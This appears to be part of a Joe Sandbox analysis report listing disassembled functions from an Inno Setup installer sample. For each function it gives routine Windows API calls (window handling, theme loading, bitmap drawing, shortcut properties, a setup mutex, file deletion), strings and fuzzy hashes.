Function 00417CCE Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D0F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: 10c4cad34842aada7366c7ae835e87bb47f6877ef465302f7d8a53f72357e128
Instruction ID: d9358ea7cd183770b33139a8ac7b7a0a70302bd2c01e5fc8313c3e2814ac7f2c
Opcode Fuzzy Hash: 10c4cad34842aada7366c7ae835e87bb47f6877ef465302f7d8a53f72357e128
Instruction Fuzzy Hash: 33012C71204108ABDB10EE59D8C1EF673A8AF45724F154566FD19DF242D639ED8087A8

Function 00417598 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004175C3
GetCapture.USER32 ref: 004175CC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
Instruction ID: 6cb7601519473143bf4e876ebf6758ccc8fc4fa751d6c6e0357a6193460a6b05
Opcode Fuzzy Hash: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
Instruction Fuzzy Hash: 0AF0A4723056425BD730AB2EC984AB762F69F84314B14403BE419CBFA1EB3CDCC08798

Function 00424194 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0042419B

Part of subcall function 00423A84: EnumWindows.USER32(00423A1C), ref: 00423AA8
Part of subcall function 00423A84: GetWindow.USER32(?,00000003), ref: 00423ABD
Part of subcall function 00423A84: GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
Part of subcall function 00423A84: SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02

SetActiveWindow.USER32(?,?,?,00423D73,00000000,0042415C), ref: 004241AF

Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
Instruction ID: ce5d4440ec1c13bcfda566247f28ea27228b22b89c70f7a48f218b5e8bc86154
Opcode Fuzzy Hash: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
Instruction Fuzzy Hash: 55E01AA070011087DB10AFAADCC8B9632A9BB48304F55017ABD49CF35BD63CC8608724

Function 004125D8 Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D5), ref: 004127C3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
Instruction ID: 2c049f03cfb376e3baa0368465928f91904f6d03483072bf0e6cb5f6a46bccc5
Opcode Fuzzy Hash: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
Instruction Fuzzy Hash: 4A5102357082048FD710DB6ADA80A9BF3E5EF98314B2082BBD814C77A1D7B8AD91C75D

Function 00478C14 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 00478D62

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 42035b0a390062e6d23d792172f6b82ff2c7c829b3002557c0f48d8802eb32c2
Instruction ID: d776cd64023d9362bd44f1cd953eb23282d5c738cf602bd75e0929d40b898630
Opcode Fuzzy Hash: 42035b0a390062e6d23d792172f6b82ff2c7c829b3002557c0f48d8802eb32c2
Instruction Fuzzy Hash: C1416775644108DFCB20CF99C6888AAB7F5EB58310B35C99AE84CDB341D738EE41DBA4

Function 0045D23C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045D247

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: 60613f318f2e56de1b1058283c26d55875caf569050bffc963c4b4a7e30f6a75
Instruction ID: 5effe0378c810cd07e0217cdc1e7a72ed78fe315a0c34b067f2c35eeb24cdbba
Opcode Fuzzy Hash: 60613f318f2e56de1b1058283c26d55875caf569050bffc963c4b4a7e30f6a75
Instruction Fuzzy Hash: D0C09BF200420CBF650057D5ECC9C77B75CE6586547408126F7048210195726C104574

Function 0045D254 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,0046DB6C,?,0046DD4D), ref: 0045D25A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: d774fb8793e7b9215c4f3788321c424c537fe54849dfeb2a35b58218e4d2cefe
Instruction ID: 17600df93846144bfd8e61cd07b91608ca2a028cf3222f5d1774599e6ed580aa
Opcode Fuzzy Hash: d774fb8793e7b9215c4f3788321c424c537fe54849dfeb2a35b58218e4d2cefe
Instruction Fuzzy Hash: B7A002F0B80300BAFD2057F15E5EF26252C97D0F01F2084657306E90D085A56400853C

Function 10001130 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2929418472.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2929402149.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2929440767.0000000010002000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Function 10001000 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2929418472.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2929402149.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2929440767.0000000010002000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Function 0044B658 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B604: GetVersionExA.KERNEL32(00000094), ref: 0044B621

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498D46), ref: 0044B67F
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B7C9
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B7DB
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B7ED
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B7FF
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B811
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B823
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B835
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B847
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B859
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B86B
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B87D
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B88F
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B8A1
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B8B3
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B8C5
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B8D7
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B8E9
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B8FB
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B90D
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B91F
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B931
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B943
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B955
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B967
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B979
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B98B
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B99D
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B9AF
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B9C1
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B9D3

Strings

GetThemeBool, xrefs: 0044B7D3
GetThemeFont, xrefs: 0044B81B
OpenThemeData, xrefs: 0044B68F
GetThemeMetric, xrefs: 0044B7AF
GetThemeIntList, xrefs: 0044B851
HitTestThemeBackground, xrefs: 0044B743
GetThemeSysString, xrefs: 0044B8F3
GetThemeBackgroundRegion, xrefs: 0044B731
GetThemeString, xrefs: 0044B7C1
GetWindowTheme, xrefs: 0044B93B
IsThemeDialogTextureEnabled, xrefs: 0044B95F
GetCurrentThemeName, xrefs: 0044B995
IsThemePartDefined, xrefs: 0044B779
CloseThemeData, xrefs: 0044B6A1
GetThemeMargins, xrefs: 0044B83F
GetThemeDocumentationProperty, xrefs: 0044B9A7
SetThemeAppProperties, xrefs: 0044B983
EnableThemeDialogTexture, xrefs: 0044B94D
DrawThemeParentBackground, xrefs: 0044B9B9
SetWindowTheme, xrefs: 0044B875
GetThemeAppProperties, xrefs: 0044B971
GetThemePosition, xrefs: 0044B809
GetThemeSysInt, xrefs: 0044B905
GetThemeColor, xrefs: 0044B79D
EnableTheming, xrefs: 0044B9CB
GetThemeInt, xrefs: 0044B7E5
GetThemePartSize, xrefs: 0044B6FB
GetThemeBackgroundContentRect, xrefs: 0044B6D7, 0044B6E9
GetThemeFilename, xrefs: 0044B887
GetThemeRect, xrefs: 0044B82D
uxtheme.dll, xrefs: 0044B67A
GetThemeSysBool, xrefs: 0044B8BD
DrawThemeText, xrefs: 0044B6C5
DrawThemeIcon, xrefs: 0044B767
GetThemeTextMetrics, xrefs: 0044B71F
GetThemeSysSize, xrefs: 0044B8CF
GetThemeSysFont, xrefs: 0044B8E1
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B78B
IsAppThemed, xrefs: 0044B929
GetThemeSysColor, xrefs: 0044B899
GetThemeTextExtent, xrefs: 0044B70D
IsThemeActive, xrefs: 0044B917
GetThemeEnumValue, xrefs: 0044B7F7
DrawThemeBackground, xrefs: 0044B6B3
GetThemePropertyOrigin, xrefs: 0044B863
GetThemeSysColorBrush, xrefs: 0044B8AB
DrawThemeEdge, xrefs: 0044B755

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
Instruction ID: e93aa9000a3b975727f71862fff1c9a8a52c50bca2d3d110ef64c9f3a3b13d35
Opcode Fuzzy Hash: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
Instruction Fuzzy Hash: D391A8F0A40B11ABEB00EFB5AD96A2A3BA8EB15714310067BB454DF295D778DC108FDD

Function 0041CA0C Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041CA40
CreateCompatibleDC.GDI32(?), ref: 0041CA4C
CreateBitmap.GDI32(0041A944,?,00000001,00000001,00000000), ref: 0041CA70
CreateCompatibleBitmap.GDI32(?,0041A944,?), ref: 0041CA80
SelectObject.GDI32(0041CE3C,00000000), ref: 0041CA9B
FillRect.USER32(0041CE3C,?,?), ref: 0041CAD6
SetTextColor.GDI32(0041CE3C,00000000), ref: 0041CAEB
SetBkColor.GDI32(0041CE3C,00000000), ref: 0041CB02
PatBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00FF0062), ref: 0041CB18
CreateCompatibleDC.GDI32(?), ref: 0041CB2B
SelectObject.GDI32(00000000,00000000), ref: 0041CB5C
SelectPalette.GDI32(00000000,00000000,00000001), ref: 0041CB74
RealizePalette.GDI32(00000000), ref: 0041CB7D
SelectPalette.GDI32(0041CE3C,00000000,00000001), ref: 0041CB8C
RealizePalette.GDI32(0041CE3C), ref: 0041CB95
SetTextColor.GDI32(00000000,00000000), ref: 0041CBAE
SetBkColor.GDI32(00000000,00000000), ref: 0041CBC5
BitBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00000000,00000000,00000000,00CC0020), ref: 0041CBE1
SelectObject.GDI32(00000000,?), ref: 0041CBEE
DeleteDC.GDI32(00000000), ref: 0041CC04

Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ColorSelect$CreatePalette$CompatibleObject$BitmapRealizeText$DeleteFillRect
String ID:
API String ID: 269503290-0
Opcode ID: f6ec0e72e5bf4d3a4b35452a053ce6985fd66c4a2c028599b4b656ed1e18f085
Instruction ID: 91afdf38925dfcc0a19aef53af63d8b93a06df8cfedaf367688fa0d34ebdb442
Opcode Fuzzy Hash: f6ec0e72e5bf4d3a4b35452a053ce6985fd66c4a2c028599b4b656ed1e18f085
Instruction Fuzzy Hash: 01610071A44648AFDF10EBE9DC86FDFB7B8EB48704F10446AB504E7281D67CA940CB68

Function 00456638 Relevance: 26.6, APIs: 4, Strings: 11, Instructions: 310comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00499A74,00000000,00000001,00499774,?,00000000,004569E3), ref: 0045667E
CoCreateInstance.OLE32(00499764,00000000,00000001,00499774,?,00000000,004569E3), ref: 004566A4
SysFreeString.OLEAUT32(00000000), ref: 0045685B

Strings

IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 00456840
IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 00456892
IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 004567BD
IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning), xrefs: 004567F1
IShellLink::QueryInterface(IID_IPersistFile), xrefs: 00456904
IPersistFile::Save, xrefs: 00456962
CoCreateInstance, xrefs: 004566AF
%ProgramFiles(x86)%\, xrefs: 0045672E
IPropertyStore::SetValue(PKEY_AppUserModel_StartPinOption), xrefs: 004568CA
IPropertyStore::Commit, xrefs: 004568E3
{pf32}\, xrefs: 0045671E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateInstance$FreeString
String ID: %ProgramFiles(x86)%\$CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning)$IPropertyStore::SetValue(PKEY_AppUserModel_StartPinOption)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)${pf32}\
API String ID: 308859552-2363233914
Opcode ID: a0575c07f5dbe1f8e7a7a23a6ade5e0a0cf91765ce74541052d2130e474f3a3a
Instruction ID: 626cebdda9c2f027bca35673d9c6b56497010998b1692f4b35f589c77fa21a92
Opcode Fuzzy Hash: a0575c07f5dbe1f8e7a7a23a6ade5e0a0cf91765ce74541052d2130e474f3a3a
Instruction Fuzzy Hash: 26B13170A00144AFDB50DFA9C845B9E7BF8AF09306F5540AAF804E7362DB78DD48CB69

Function 00498524 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,004988BC,?,?,00000000,?,00000000,00000000,?,00498C73,00000000,00498C7D,?,00000000), ref: 004985A7
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004988BC,?,?,00000000,?,00000000,00000000,?,00498C73,00000000), ref: 004985BA
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004988BC,?,?,00000000,?,00000000,00000000), ref: 004985CA
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 004985EB
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004988BC,?,?,00000000,?,00000000), ref: 004985FB

Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481

Strings

.lst, xrefs: 00498638
Setup, xrefs: 00498593
.msg, xrefs: 0049861E
/REGU, xrefs: 0049857D
/REG, xrefs: 00498559
Inno-Setup-RegSvr-Mutex, xrefs: 004985B1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: 2c6f745618312d1343eb966f07f1a142d93ad7c4dd2afed7ea5240104eb64e0a
Instruction ID: ff08a4da3ffacb89a0b451d6d304ab02822aded01301bce40496ce293a30bef9
Opcode Fuzzy Hash: 2c6f745618312d1343eb966f07f1a142d93ad7c4dd2afed7ea5240104eb64e0a
Instruction Fuzzy Hash: 4B91B634A042449FDF01EBA9CC52BAF7BA4EB4A304F5144BBF500A7692DE7C9905CB29

Function 0045A6D8 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 209COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045A994,?,?,?,?,?,00000006,?,00000000,004979B1,?,00000000,00497A54), ref: 0045A846

Strings

.gid, xrefs: 0045A728
.lnk, xrefs: 0045A7B3
.hlp, xrefs: 0045A70F
Failed to delete the file; it may be in use (%d)., xrefs: 0045A935
Deleting file: %s, xrefs: 0045A7E5
.fts, xrefs: 0045A74C
